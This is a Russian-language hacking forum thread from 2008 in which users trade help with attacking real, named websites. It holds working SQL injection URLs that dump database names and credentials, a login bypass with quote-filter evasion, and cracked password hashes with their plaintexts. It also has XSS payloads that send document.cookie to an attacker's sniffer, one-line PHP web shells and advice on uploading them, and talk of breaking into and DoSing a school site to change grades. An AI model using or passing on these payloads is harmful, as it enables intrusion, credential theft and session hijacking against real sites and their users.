http://site.com/non.php?id=-6+union+select+1,2,concat(table_name,0x3a,column_n ame)4,5,6,7,8+from+information_schema.columns--

вываливаются куча всего и там я выцепляю routines:sql_admin
далее:
http://site.com/non.php?id=-6+union+select+1,2,sql.admin,4,5,6,7,8+from+routin es--

ошибка:
Table 'db.routines' doesn't exist
ага, значит все в другой базе.
далее смотрю в какой именно базе:
http://site.com/non.php?id=-6+union+select+1,table_schema,3,4,5,6,7,8,9,10,11, 1 2,13,14,15+from+information_schema.columns+where+t able_name='routines'--

отображается "information_schema"
подставляю:
http://site.com/non.php?id=-6+union+select+1,2,sql_admin,4,5,6,7,8+from+inform ation_schema.routines--

Страница без ошибок обновляется, но ни какой инфы нет.

Тут меня терзают сомнения:
1. Корректно ли я указал "information_schema.routines"
2. Может быть у меня не хватает прав?
3. Или где-то накосячил изначально?

Спасибо!

R1dex

27.11.2008, 06:58

Хотелось бы ссылочку на сайт.

Octave_Parango

27.11.2008, 07:07

Хотелось бы ссылочку на сайт.

Не хотел бы разглашать )))) ну, сам понимаешь ...

159932

27.11.2008, 07:09

http://site.com/non.php?id=-6+union+select+1,table_schema,3,4,5,6,7,8,9,10,11, 1 2,13,14,15+from+information_schema.columns+where+t able_name='routines'--
отображается "information_schema"
мм.. даже не знаю что сказать .. даже не сталкивался ..
попробуй это
http://site.com/non.php?id=-6+union+select+1,table_schema,3,4,5,6,7,8,9,10,11, 1 2,13,14,15+from+information_schema.columns+where+t able_name='routines'+limit+1,1--
также
[QUOTE]http://site.com/non.php?id=-6+union+select+1,concat(table_schema,0x2e,table_na me,0x3a,column_name),3,4,5,6,7,8,9,10,11, 1 2,13,14,15+from+information_schema.columns+where+t able_name='routines'--
и скажи тут результ..

Octave_Parango

27.11.2008, 07:29

http://site.com/non.php?id=-6+union+select+1,table_schema,3,4,5,6,7,8,9,10,11, 1 2,13,14,15+from+information_schema.columns+where+t able_name='routines'+limit+1,1--
также
http://site.com/non.php?id=-6+union+select+1,concat(table_schema,0x2e,table_na me,0x3a,column_name),3,4,5,6,7,8,9,10,11, 1 2,13,14,15+from+information_schema.columns+where+t able_name='routines'--
и скажи тут результ..

по первому запросу - так же пусто, ни какой информации не выводит.

а по второму вот:

information_schema.ROUTINES:SQL_ADMIN

В принципе то же самое что и в моем случае, только дальше, делаю запрос, опять пусто.

НиПоНяТнО (голосом Реввы)

Pashkela

27.11.2008, 07:53

дай ссыль в личку

_Pantera_

27.11.2008, 09:11

Всем привет!

Разъясните...

Есть скуля - information_schema - доступно.

далее:

вываливаются куча всего и там я выцепляю routines:sql_admin
далее:

ошибка:
Table 'db.routines' doesn't exist
ага, значит все в другой базе.
далее смотрю в какой именно базе:

отображается "information_schema"
подставляю:

Страница без ошибок обновляется, но ни какой инфы нет.

Тут меня терзают сомнения:
1. Корректно ли я указал "information_schema.routines"
2. Может быть у меня не хватает прав?
3. Или где-то накосячил изначально?

Спасибо!

Да ты ж синтаксиса sql команд не понимаешь!!! Доки читай по мускулу! хеккеры млин...
Самое первое, что тебе нужно сделать - это посмотреть названия таблиц и названия БД в которых они лежат.
http://site.com/non.php?id=-6+union+select+1,2,concat(table_schema,char(58),ta ble_NAME),4,5,6,7,8+from+INFORMATION_SCHEMA.tables--
потом уже смотришь названия колонок в интересующей таблице:
http://site.com/non.php?id=-6+union+select+1,2,COLUMN_NAME,4,5,6,7,8+from+INFO RMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME="user"--

А уже потом на основе этих данных составляешь запрос!

sabe

27.11.2008, 09:35

_Pantera_
Самое первое, что тебе нужно сделать - это посмотреть названия таблиц и названия БД в которых они лежат.
http://site.com/non.php?id=-6+union+select+1,2,concat(table_schema,char(58),ta ble_NAME),4,5,6,7,8+from+INFORMATION_SCHEMA.tables --

таким запросом ты узнаеш все бд )

а вот таким запросом ты посмотришь БД в которых лежит таблица..
http://site.com/non.php?id=-6+union+select+1,2,concat_ws(0x3a,table_schema),4, 5,6,7,8+from+information.tables+where+table_name=� �азвание таблы--

а вобще я бы сначало искал в каких таблицах и бд есть колонка например пасс)
http://site.com/non.php?id=-6+union+select+1,2,concat_ws(0x3a,table_schema,tab le_name),4,5,6,7,8+from+information.columns+where+ column_name+like+char(название поля)--

_Pantera_

27.11.2008, 09:50

_Pantera_
Самое первое, что тебе нужно сделать - это посмотреть названия таблиц и названия БД в которых они лежат.
http://site.com/non.php?id=-6+union+select+1,2,concat(table_schema,char(58),ta ble_NAME),4,5,6,7,8+from+INFORMATION_SCHEMA.tables --
таким запросом ты узнаеш все бд )

Я вот непонимаю, зачем если ты не разбираешься в теме умничать?

table_schema - имя БД
table_NAME - имя таблицы

а вот таким запросом ты посмотришь названия таблиц и названия БД в которых они лежат..
http://site.com/non.php?id=-6+union+select+1,2,concat_ws(0x3a,table_schema),4, 5,6,7,8+from+information.tables+where+table_name=� � азвание таблы--

А это что за бред???? Этим запросом ты посмотришь имя БД в которой лежит таблица "название таблы"

PS Мужики читайте литературу, я смотрю вы нахватались кусков из хеккерских форумов, а работать с БД не умеете.

Octave_Parango

27.11.2008, 10:34

Всем спасибо!
Все что нужно стянул.
sabe, a+

j0ker13

27.11.2008, 11:18

2pantera прав хватает по любому) потому что этот файл index.php этого же сайта)

masternet

27.11.2008, 12:31

вопрос..как преобразовать пхп-код в одну строку?иными словами чтобы не было пробелов...всё в одной строке?
шелл короче залить..

-m0rgan-

27.11.2008, 12:43

Попробуй перевести его в16битное шифрование.

l1ght

27.11.2008, 13:22

Да ты ж синтаксиса sql команд не понимаешь!!! Доки читай по мускулу! хеккеры млин...
хех товарищ хакер обратите внимание на эти строчки в цитате:
ошибка: Table 'db.routines' doesn't exist ага, значит все в другой базе. далее смотрю в какой именно базе: отображается "information_schema"
во первых он сделал это без вас, во-вторых зачем ему весь список "баз(а/ы)-таблицы" если известно конкретное название таблицы?) пост sabe верный ток там оператор объединения непонятно зачем)
Octave_Parango значит либо нет записей либо есть пустые строки ;)
masternet пхп шелл итак занимает 1 строчку ;) всё остальное навороты
вот самый короткий) raz0r.name/releases/mega-reliz-samyj-korotkij-shell/

_Pantera_

27.11.2008, 14:49

хех товарищ хакер обратите внимание на эти строчки в цитате:
ошибка: Table 'db.routines' doesn't exist ага, значит все в другой базе. далее смотрю в какой именно базе: отображается "information_schema"
во первых он сделал это без вас, во-вторых зачем ему весь список "баз(а/ы)-таблицы" если известно конкретное название таблицы?) пост sabe верный ток там оператор объединения непонятно зачем)

Ошибка говорит о том, что в БД под именем db таблицы "routines" не существует!
А дальше ты хоть сам понял, что написал?
далее смотрю в какой именно базе: отображается "information_schema"
Интересно, что тогда по твоему "information_schema", таблица чтоле?
information_schema - это название стандартной БД в мускуле 5!)

ThreeD

27.11.2008, 15:00

Товарищи, прошу совета.

Добил необходимый мне ресурс. Там стоит походу вродпресс.
Вытащил значит следующие данные

(логин::пасс)
admin::$P$BaDgEI.EOMBqxOK7SWSWJfbPHfiVDT.
mary::$P$BQOOK8uZGPy9aPW/iZFQdVCYqfFEIe/
tom::$P$BMUL.P.H2ij4tFvv0RcZ.moF0RWId10

Это что вообще такое? o_O Это расшифровать реально (если это вообще хэши)?
Если да-то ткните как плз.
Я просто первый раз столкнулся, в недоумении...

iddqd

27.11.2008, 15:02

похоже на юниксовый мд5, но там вроде на $1$ начинаться должно...

_Pantera_

27.11.2008, 15:05

или md5(phpbb3), что скорее всего

ThreeD

27.11.2008, 15:11

Значит PasswordsPro мне в руки и долгие годы ожидания и терпимости, или есть иные варианты? Сервисы не берут, в пассвордспро я такого типа хешей вообще не обнаружил, как md5(phpbb3)
Кто может помочь? Об оплате договоримся ;)

_Pantera_

27.11.2008, 15:16

http://forum.xakep.ru/m_1107118/tm.htm и еще вот тут можно почитать

ThreeD

27.11.2008, 15:18

Спасибо. Уже вникаю =)

Octave_Parango

27.11.2008, 15:22

_Pantera_,
Ошибки свои понял.
Спасибо!

Ershik

27.11.2008, 22:12

Пытаюсь авторизоватся по типу
email:pass
Мыло не знаю, поэтому ввожу от балды. Кавычки фильтруются
SELECT * FROM t_customer WHERE (email='admin@admin.com\') AND (password='or 1=1--')
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 1

Как можно обойти фильтрацию и авторизоватся?

Calcutta

27.11.2008, 22:30

Пытаюсь авторизоватся по типу
email:pass
Мыло не знаю, поэтому ввожу от балды. Кавычки фильтруются

Как можно обойти фильтрацию и авторизоватся?
По всей видимости есть sql-инъекция, попробуй найти табличку юзеров/админов, там должно быть достаточно информации, чтобы пройти авторизацию ; )

Ershik

27.11.2008, 22:47

По логике t_customer. Я поискал, иньекция только в авторизации.
и только в поле логина

sabe

27.11.2008, 22:52

будет работать когда
SELECT * FROM t_customer WHERE (email='admin@admin.com' or 1=1/*) AND (password='')

обойти фильтр кавычки можна так: %27,%2527,` в разных случаях по разному, тоесть пример

mail:a@a.a%2527 or 1=1/*
pass:

l1ght

27.11.2008, 23:00

Ошибка говорит о том, что в БД под именем db таблицы "routines" не существует!
А дальше ты хоть сам понял, что написал?

Интересно, что тогда по твоему "information_schema", таблица чтоле?
information_schema - это название стандартной БД в мускуле 5!)
c вами бесполезно спорить вы второй раз читаете пост по диагонали надо быть внимательнее.
Ershik после обратного слеша одна ковычка? никак если данные не попадают в urldecode()

Ershik

28.11.2008, 01:09

Понятно. еще вопрос.
__http://www.originalstore.it/index.php?page=viewprod&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8.9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36/*

почему, когда хочу узнать версию базы данных, выскакиет ошибка?
___http://www.originalstore.it/index.php?page=viewprod&id=-1+UNION+SELECT+1,2,database(),4,5,6,7,8.9,10,11,12 ,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,2 9,30,31,32,33,34,35,36/*

l1ght

28.11.2008, 01:20

проблемы с кодировкой используй конструкцию aes_decrypt(aes_encrypt())

/add jokester опередил с примером '(

Ershik

28.11.2008, 01:24

Неа. Это не помогает. почему-то.

Jokester

28.11.2008, 01:27

Неа. Это не помогает. почему-то.
отлично помогает :)
http://www.originalstore.it/index.php?page=viewprod&id=-1+UNION+SELECT+1,2,UNHEX(HEX(concat_ws(0x3a,User() ,Database(),Version()))),4,5,6,7,8.9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35,36/*

administrator@localhost:gestione:4.1.11-Debian_4sarge7-log

И это тоже разумеется :
http://www.originalstore.it/index.php?page=viewprod&id=-1+UNION+SELECT+1,2,aes_decrypt(aes_encrypt(concat_ ws(0x3a,User(),Database(),Version()),1),1),4,5,6,7 ,8.9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, 25,26,27,28,29,30,31,32,33,34,35,36/*

Ershik

28.11.2008, 01:34

Я осознал.
Спасибо :)

SHS

28.11.2008, 15:21

При исполнении следующих запросов :

page.php?id=-1'+order+by+3/* :

Unknown column '3' in 'order clause' (Казалось бы все нормально, НО!)

page.php?id=-1'+order+by+2/*

Выдает :

Mixing of GROUP columns (MIN(),MAX(),COUNT(),...) with no GROUP columns is illegal if there is no GROUP BY clause

Что это означает? И как это победить?

foopi

28.11.2008, 15:28

SHS

28.11.2008, 15:58

Там и есть 2 колноки, но при запросе page.php?id=-1'+union+select+1,2/* :

Mixing of GROUP columns (MIN(),MAX(),COUNT(),...) with no GROUP columns is illegal if there is no GROUP BY clause

l1ght

28.11.2008, 16:26

нужно указать группировку по полю (у вас конец запроса обрывается комментариями), т.е.
ляляля + group by поле/*

winter_silence

28.11.2008, 17:31

Я не уверен в том что это серьезный баг, вконтакте если зайти в свой аккаунт, раздел "мои группы" - справа вверху форма "фильтр групп".
В этой форме выполняется
"><script>alert('test')</script>

Код формы

<div class="groupsLookupCont"><input placeholder="Фильтр групп" id="g_filter" class="inputText" onkeyup="if (window.rs) {rs.lookup(this, event);}" type="text"></div>
<script type="text/javascript">
placeholderSetup('g_filter');
</script>

Собственно вопрос такой: можно ли сформировать ссылку XSS?

Pashkela

28.11.2008, 17:44

Ничего себе несерьезная уязвимость:) Есс-но можно

qazer

28.11.2008, 17:59

Я не уверен в том что это серьезный баг, вконтакте если зайти в свой аккаунт, раздел "мои группы" - справа вверху форма "фильтр групп".
В этой форме выполняется

Код формы

Собственно вопрос такой: можно ли сформировать ссылку XSS?

если кто смог,выложите сформированную ссылку,у меня не получилось(

Pashkela

28.11.2008, 18:04

Видишь ли, я просто там незареген, вывод - ссылку в студию +ПОЛНЫЙ исходник страницы

qazer

28.11.2008, 18:12

Видишь ли, я просто там незареген, вывод - ссылку в студию +ПОЛНЫЙ исходник страницы

http://vkontakte.ru/groups.php?

исходник большой очень( стоит ли его сдесь выкладывать

winter_silence

28.11.2008, 18:22

2qazer
именно это. Исходник действительно большой, да и толку от него маловато.
Алерт выскакивает на странице прям в тот момент когда его вставляешь. Там Ajax вроде

qazer

28.11.2008, 18:40

2qazer
именно это. Исходник действительно большой, да и толку от него маловато.
Алерт выскакивает на странице прям в тот момент когда его вставляешь. Там Ajax вроде

тоесть получается прамую ссылку не поставить?алерт выскакивает если его ввести в поле и нажать enter - так тоже катит

winter_silence

28.11.2008, 18:47

тоесть получается прамую ссылку не поставить?алерт выскакивает если его ввести в поле и нажать enter - так тоже катит

Я вот это впринципе и хотел узнать. Скрипт обрабатывается "на ходу". Но ведь обрабатывается и выполняется. Есть ли способ передать скрипт через ссылку в эту форму?

qazer

28.11.2008, 18:50

я на самом деле тоже самое хочу узнать)))

помоему надо просто узнать название этого поля и подставить его,чтото типо этого --

http://vkontakte.ru/groups.php?название поля=<script>alrtr(/)</script>

winter_silence

28.11.2008, 19:23

http://vkontakte.ru/groups.php?название поля=<script>alrtr(/)</script>

Я пробовал так, у меня не получилось. Тут моих познаний java script не хватает к сожалению.

Chaak

28.11.2008, 19:31

Смотрю: олени в теме :D

Вообщем если пашка дуров не поставил:
<?php
echo $_GET['имя_поля'];
?>

То ничего не сделал, а он действительно не поставил :)

winter_silence

28.11.2008, 19:44

Смотрю: олени в теме :D

Хм, я возможно и не шарю, но если я не ошибся тема как раз таки для вопросов по уязвимостям. Так что думаю можно и без оленей обойтись)

Вообщем если пашка дуров не поставил:
<?php
echo $_GET['имя_поля'];
?>

То ничего не сделал, а он действительно не поставил :)

А здесь можно поподробней? Возможно данные в форму передать каким нибудь образом?

.::Colt::.

28.11.2008, 19:52

Это уже пофиксено все... думаю надо копать глубже.. и еще всетаки интересно в привате есть сплойты или нет..

qazer

28.11.2008, 20:08

Это уже пофиксено все... думаю надо копать глубже.. и еще всетаки интересно в привате есть сплойты или нет..

всё работает!!!!

"><script>img = new Image(); img.src = "http://блаблаблабла?"+document.cookie;</script>

и куки на снифе!!!

ктонить составьте ссылку

.::Colt::.

28.11.2008, 20:13

всё работает!!!!

"><script>img = new Image(); img.src = "http://блаблаблабла?"+document.cookie;</script>

и куки на снифе!!!

ктонить составьте ссылку
я говорил про вконтакте.ру

Chaak

28.11.2008, 20:18

Хм, я возможно и не шарю, но если я не ошибся тема как раз таки для вопросов по уязвимостям. Так что думаю можно и без оленей обойтись)

А здесь можно поподробней? Возможно данные в форму передать каким нибудь образом?
никаким, если только юзер сам не вставит код :)

Ershik

28.11.2008, 21:02

Нашел уязвимость с Ассеsse, пытаюсь авторизоваться по типу:
user = ' or '1'='1
pass = test
Но выбрасывает на ошибку с
Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver]General error Unable to open registry key 'Temporary (volatile) Jet DSN for process 0x17ec Thread 0x1420 DBC 0x31b710c Jet'.

/riservata.asp, line 18

Расшифруйте, пожалуйста, что тут не так. если дословно: общая ошибка открытом регистрационном ключе, DNS процесса и бла-бла-ла

o3,14um

29.11.2008, 01:23

Calcutta, всё поддерживается, не сбивай людей с толку!

Ershik

29.11.2008, 01:56

Я все делал по статье. все верно.
Еще выяснил, что при любом запросе:
админ:админ.
лол:кол

выбрасывает на ошибку. Может такое быть, что авторизоваться не получится?

zifanchuck

29.11.2008, 05:49

Warning: require_once(maincore.php) [function.require-once]: failed to open stream: Operation not permitted in /www/hmarka.net/3/8/38school/home/site/news.php on line 12

Fatal error: require_once() [function.require]: Failed opening required 'maincore.php' (include_path='.:/usr/share/php') in /www/hmarka.net/3/8/38school/home/site/news.php on line 12

ето че такое и как етим воспользоваться???

159932

29.11.2008, 06:28

увидеть пути ..
возрадоватся что ошибки не отключены в этом скрипте, и возможно на всём сайте, что очень облегчит дальнейший взлом..

zifanchuck

29.11.2008, 06:32

круто а вот че мне делать дальш???

159932

29.11.2008, 06:45

круто а вот че мне делать дальш???
попрыгать на левой ноге, сьесть яйцо в смятку, выпить пол литру молока, подтянутся 23 раза и зайти на php.net и mysql.com .. почитать ..
также рекомендуется зайти в раздел /forum30.html и тоже почитать ..

--------
.зы из ошибки, я понял что это нечто типо сайта школы /38school/
Не стоит ломать с надеждой поменять себе отметки!

_Pantera_

29.11.2008, 11:18

круто а вот че мне делать дальш???
Почитай, может поможет:
http://forum.antichat.ru/thread91807.html

masternet

29.11.2008, 11:36

_http://www.vs.motorolka.ru/forum/index.php?showtopic=-1+limit+1,1+union+select+1,2,3--
интересует скули такого вида..их ведь так крутить надо?сначала лимит,а потом юбнион+целест?

zifanchuck

29.11.2008, 12:46

.зы из ошибки, я понял что это нечто типо сайта школы /38school/
Не стоит ломать с надеждой поменять себе отметки!
да ты прав))) Отметки потом сменю у меня и у всей школе протест!!! Они нас в школе запирают и не выпускают некуда токо после уроков всех(((( Взломаю потом я его задосил с деда)))

zifanchuck

29.11.2008, 13:28

вопрос может не в тему но нужен шел))) на форуме ищу никак ненайду что найду непашут ссылки(( выложите кто-то

Pashkela

29.11.2008, 15:27

<?passthru($_GET[cmd]);?>

iddqd

29.11.2008, 15:37

<?=@`$c`?>
short_open_tag и register_globals required=\

(c) Raz0r ;)

Shaitan-Devil

29.11.2008, 16:11

c99comandshell
http://madnet.name/files/1/10.html

qazer

29.11.2008, 22:21

Нашёл пару xss ,но не могу понять как составить ссылку с адресом сниффера.Помогите,я туплю)

http://www.club-nissan.ru/cars/models/Nissan_Stagea/'"></title><script>alert(1337)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

собственно вставка вместо алерта запроса на снифер,вида

<script>img = new Image(); img.src = "блаблабла?"+document.cookie;</script>

не пашет((

В благодарность за ваши советы вот ещё xss (будет супер,если ктонить объяснит как составить ссылки на сниф,т.к. в следующих ,подстановка по методу выше тоже не пашет)

http://www.blogus.ru/tagposts.aspx?id=%D0%B7%D0%B0%D0%B2%D0%BE%D0%B4"><script>alert(document.cookie)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

http://userinfo.ru/sites/'"></title><script>alert(1337)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

http://moemesto.ru/link/1094798'"></title><script>alert(1337)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

http://extremetracking.com/open;ref2?login=magwheel"><script>alert(document.cookie)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

Pashkela

29.11.2008, 22:45

http://www.club-nissan.ru/cars/models/Nissan_Stagea/'"></title><script>alert(1337)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

не работает по ЭТОЙ ссылке xss

http://www.blogus.ru/tagposts.aspx?id=%D0%B7%D0%B0%D0%B2%D0%BE%D0%B4"><script>alert(document.cookie)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

тут всместо alert(document.cookie) просто вставь

window.location.href='http://твой_сайт_со_снифером/s.phpf?'+document.cookie;

тут

http://userinfo.ru/sites/'"></title><script>alert(1337)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

нет xss

тут

http://moemesto.ru/link/1094798'"></title><script>alert(1337)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

нет xss

тут

http://extremetracking.com/open;ref2?login=magwheel"><script>alert(document.cookie)</script>'"><marquee><h1><script>alert(/)</script></h1></marquee>

нет xss

qazer

29.11.2008, 22:50

хммм. у меня в IE алерт вылезает по всем ссылкам

Pashkela

29.11.2008, 22:55

и что, а у меня опера, xss с расчетом на один браузер - гопота. Ну если так хочется надеятся, что чел, кому ты скинешь ссылку, содержащую пассивную xss, будет именно в осле сидеть, то делай тоже самое:

вместо alert(document.cookie) просто вставь

window.location.href='http://твой_сайт_со_снифером/s.phpf?'+document.cookie;

RekRut

30.11.2008, 02:28

Помогите с одной проблемой пожалста,

Fatal error: Cannot use object of type DB_Error as array in /home/shytobuy/domains/shytobuy.com/public_html/product.php on line 85

есть сайт, подобрал к нему колличество колонок, походу правильное потомучто если добавить еще одну ошибка меняется на вот такую

Fatal error: Cannot use object of type DB_Error as array in /home/shytobuy/domains/shytobuy.com/public_html/lib/site_common.php on line 123

сам запрос выглядит вот так

http://www.shytobuy.com/product.php?prod_id=1316+union+select+null,null,nu ll,null,null,null,null/*

проблема в том что сайт не дает добро ни на какое количество колонок, постоянно выводится ошибка, как с этим можно бороться и что вообще можно тут придумать...

спасибо за ответы

zifanchuck

30.11.2008, 03:14

У меня есть достук к фтп (логин пасс) заливать надо етот шел туда c99comandshell???

zifanchuck

30.11.2008, 03:26

залил а оно не заходит туда(((
Forbidden
You don't have permission to access /shell on this server.

вот че пишет

159932

30.11.2008, 03:28

права поменяй иль залей в др. папку ..

zifanchuck

30.11.2008, 03:35

Та не там кажеться дело в самом сайте. Забил на него

Shaitan-Devil

30.11.2008, 08:38

Выстави пасс и зайди.

Octave_Parango

30.11.2008, 12:08

Подскажите...
Это MD5?- 1114168c640b7642fd41f0b59fad1db4

_Pantera_

30.11.2008, 12:10

да

Octave_Parango

30.11.2008, 12:14

Что-то не хочет поддаваться расшифровки...
Где бы еще попробовать его вскрыть?

Iceangel_

30.11.2008, 12:17

Подскажите...
Это MD5?- 1114168c640b7642fd41f0b59fad1db4
да
Что-то не хочет поддаваться расшифровки... Где бы еще попробовать его вскрыть?
на здоровье...
1114168c640b7642fd41f0b59fad1db4:SWshop$

Octave_Parango

30.11.2008, 12:21

Iceangel_,
Благодарю!

Octave_Parango

30.11.2008, 12:30

Ого, тут вот еще что нашлось, не подскажите, что это:

122e1ba2246e3a0a

?

подскажите, где вскрыть его?

#Wolf#

30.11.2008, 12:35

Ого, тут вот еще что нашлось, не подскажите, что это:

122e1ba2246e3a0a

?
это скорее всего MySQL

freddi

30.11.2008, 12:45

Iceangel_

30.11.2008, 13:01

Ого, тут вот еще что нашлось, не подскажите, что это:
122e1ba2246e3a0a
?

это Mysql-хеш... точно...

подскажите, где вскрыть его?

на форуме есть специальная тема, для расшифровки хешей, пости там

P.S
122e1ba2246e3a0a:dataB88

Octave_Parango

30.11.2008, 13:07

это Mysql-хеш... точно...

на форуме есть специальная тема, для расшифровки хешей, пости там

P.S
122e1ba2246e3a0a:dataB88

Примного благодарен.
Про ветку - исправлюсь.

masternet

30.11.2008, 16:10

чем кроме сипта можно брутить таблицы?
т.к. в сипте пишет при запуске не достаёт компонентов..

159932

30.11.2008, 16:14

чем кроме сипта можно брутить таблицы?
т.к. в сипте пишет при запуске не достаёт компонентов..
я конечно до конца не осознал каким боком это относится к теме уязвимостей, но всё же отвечу - я бручу самопалом .. )

masternet

30.11.2008, 16:34

есть ли прога для копирования всех таблиц/столбцов в один файл?а то не кайф хз скок раз лимит увеличивать(

159932

30.11.2008, 16:42

есть ли прога для копирования всех таблиц/столбцов в один файл?а то не кайф хз скок раз лимит увеличивать(
ты что плетёшь ? какая прога для копирования таблиц в файл ? напиши конкретно задачу .. а не пытайся измерить гаризонт в километрах ..

masternet

30.11.2008, 16:51

короче есть сайт.ком
на этом сайте надо посмотреть все таблицы и столбцы(они не выводятся все сразу,а выводится только первая строка)..
мне надо выдрать эти таблцы и колумны..

159932

30.11.2008, 16:56

короче есть сайт.ком
на этом сайте надо посмотреть все таблицы и столбцы(они не выводятся все сразу,а выводится только первая строка)..
мне надо выдрать эти таблцы и колумны..
это делается обычным for'ом секунды за двадцать две ..
вот что тебе надо:
http://php.net/file_get_contents
http://php.net/for
http://php.net/fwrite

Pashkela

30.11.2008, 17:30

http://pashkela.narod.ru/progi/MySQL5tool.rar

пароль 123 - как раз для автоматизированного вывода

masternet

30.11.2008, 23:45

Pashkela чел..не выводит..пишет ноу дата..а у мну руками всё выводится..

Pashkela

30.11.2008, 23:59

ну хз тогда:) Дай ссыль в ПМ

M1ks

01.12.2008, 14:31

нашел xss. а незнаю чё с ней делать.. кто подскажет? пс читал тему xss для новичков недогнал... можно подробнее где?

iddqd

01.12.2008, 14:36

че там неясно? почитай про использование веб-сниффера, про принципы работы кукисов в общем.

Octave_Parango

01.12.2008, 18:45

Помогите дальше раскурить:

https://www.flintriverranchdogfood.net/customer_testimonials.php?testimonial_id=-11+union+select+1,2,3,4,5,version(),7,8--

information_schema просмотрел, но вывести на страницу че-то не могу, везде еррор table doesn't exist.

-m0rgan-

01.12.2008, 18:49

Попробуй перевести название таблицы в 16битный формат.

Octave_Parango

01.12.2008, 19:03

-m0rgan-,
Безрезультатно :(

nicusor

01.12.2008, 19:12

-m0rgan-,
Безрезультатно :(

https://www.flintriverranchdogfood.net/customer_testimonials.php?testimonial_id=1+and+1=2 +union+select+1,2,3,4,5,table_name,7,8+from+inform ation_schema.tables--

geforce

01.12.2008, 19:24

Кто знает как моно воспользоваться вот этим? http://78.111.240.22/chat/skin4x-a/

????

159932

01.12.2008, 19:29

geforce

01.12.2008, 19:35

geforce
можно сделать скрин .. потом помидитировать .. или ещё что ..

.зы ничего

хотя в http://78.111.240.22/chat/skin4x-a/templates/ есть пхп файлы но я там ничего интересного не нашёл ..

Кроме того что можно сделать скрин .. потом помидитировать .. или ещё что ..

Нельзя не как туда шелу кинуть?

o3,14um

01.12.2008, 19:43

geforce, ты с помощью этого видишь названия некоторых переменных. Можешь их проверить, авось, они не инициализируются... А если скрипт опен соурс - то ты получаешь ровным счётом ничего =)

qazer

01.12.2008, 19:45

помогите найти xss) форум ipb. за адресом в личку.

все описанные баги не действуют,не могу поверить в неприступность )))

Octave_Parango

01.12.2008, 19:48

https://www.flintriverranchdogfood.net/customer_testimonials.php?testimonial_id=1+and+1=2 +union+select+1,2,3,4,5,table_name,7,8+from+inform ation_schema.tables--

Эту инфу я вывел, не получается со столбцами.

Ch3ck

01.12.2008, 19:53

+where+table_name='имя таблицы'--

o3,14um

01.12.2008, 19:55

для столбцов column_name+from+information_schema+where+table_na me='tabla' (можно захексить)

Jokester

01.12.2008, 19:57

Эту инфу я вывел, не получается со столбцами.Всё там отлично выводится, не понимаю в чём проблема, вывод-- лучше не бывает, всё сразу, не морочте голову, если что-то не выводится перечитайте ЛЮБУЮ статью по SQL инъекциям

Ch3ck

01.12.2008, 19:57

для столбцов column_name+from+information_schema+where+table_na me='tabla' (можно захексить)
information_schema.columns может быть?
А хексить не можно, а нужно...

o3,14um

01.12.2008, 20:16

geforce
http://78.111.240.22/chat/info.php
вот те раскрытие пути

а вот ксска
http://78.111.240.22/chat/info.php?msg=<h1>XSS
их там ещё много - анализируй имена переменных

Ch3ck
ну да, поскорой писал =) нужно ли хексить - даж не смотрел на фильтрацию ;)

Ershik

01.12.2008, 20:21

Есть некий сайт. Есть таблица admin с хешированными в md5 паролями.
Авторизация происходит с помощью "WWW-Authenticate: Basic".
Сам сайт написан на PHP
Можно ли встроить код таким образом, чтобы он работал по типу снифера?
То есть отлавливал пароли, передаваемые методом POST и сохранял их в отдельный файлик.
Можно ли такое сделать?

o3,14um

01.12.2008, 20:28

конечно можно =) если парва на редактирование файла есть (или необходимых модулей) =)

Octave_Parango

02.12.2008, 08:54

Такой вопрос.
Есть скуля 4-ка.
Ели удачно сбрутить название таблиц и столбцов, но нет полей для вывода, каким образом можно вывести инфу?

Fuckel

02.12.2008, 09:25

читаем мануалы http://forum.antichat.ru/threadnav43966-1-10.html делай поиск по фразе "3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ."

krypt3r

02.12.2008, 10:01

Возможно ли проведение атаки, если на запросы
http://site.com/index.php?page=2
и
http://site.com/index.php?page%00bgg=2
выдается один и тот же результат? Как вообще реализуются "атаки на имя переменной"?

Ershik

02.12.2008, 19:52

Работает ли php код в файлах .htpasswd и .htaccess?
Можно ли встроить туда свой код, чтобы перехватывались данные и сохранялись отдельным файлом?
Права на запись есть.

sabe

02.12.2008, 20:25

krypt3r
бред.. тот же самый результ изза ?
инклуд будет когда:
http://site.com/index.php?page=views&id=2
тогда:
http://site.com/index.php?page=..index.php%00&id=2

Octave_Parango
есть прога сипт.. качаеш мега словяк и вперед брутить..

BanQui

02.12.2008, 20:38

Такой вопрос! Если есть сайт и на нем присутствует локальный инклуд! Как можно его раскрутить если на сайт загрузить ничего нельзя(ну по крайней мере такой функции нет в меню на сайта)!? Может есть какие-то пути? Или это просто нашел да и х*р с ним!?

Ghost0ff

02.12.2008, 20:57

пытался подставлять 1+order+by+1/* таже самая ошибка ... 1+order+by+5000000/* без изменений
пробуй +order+by+5000000 --
либо без плюсов, просто пробелы. Либо +group+by+1 -- и т.д.

geforse

02.12.2008, 21:11

вобщем вот: http://cod5.nov.ru/serverstats.php?serverid=1+union+select+1,2,3,4--
а если вести http://cod5.nov.ru/serverstats.php?serverid=1+union+select+1,2,3,4/* , то уже совсем другое вылазиет)

полей вроде 4

+group+by+1 вроде ошибок нет)

что дальше делать ?)))

BanQui

02.12.2008, 21:15

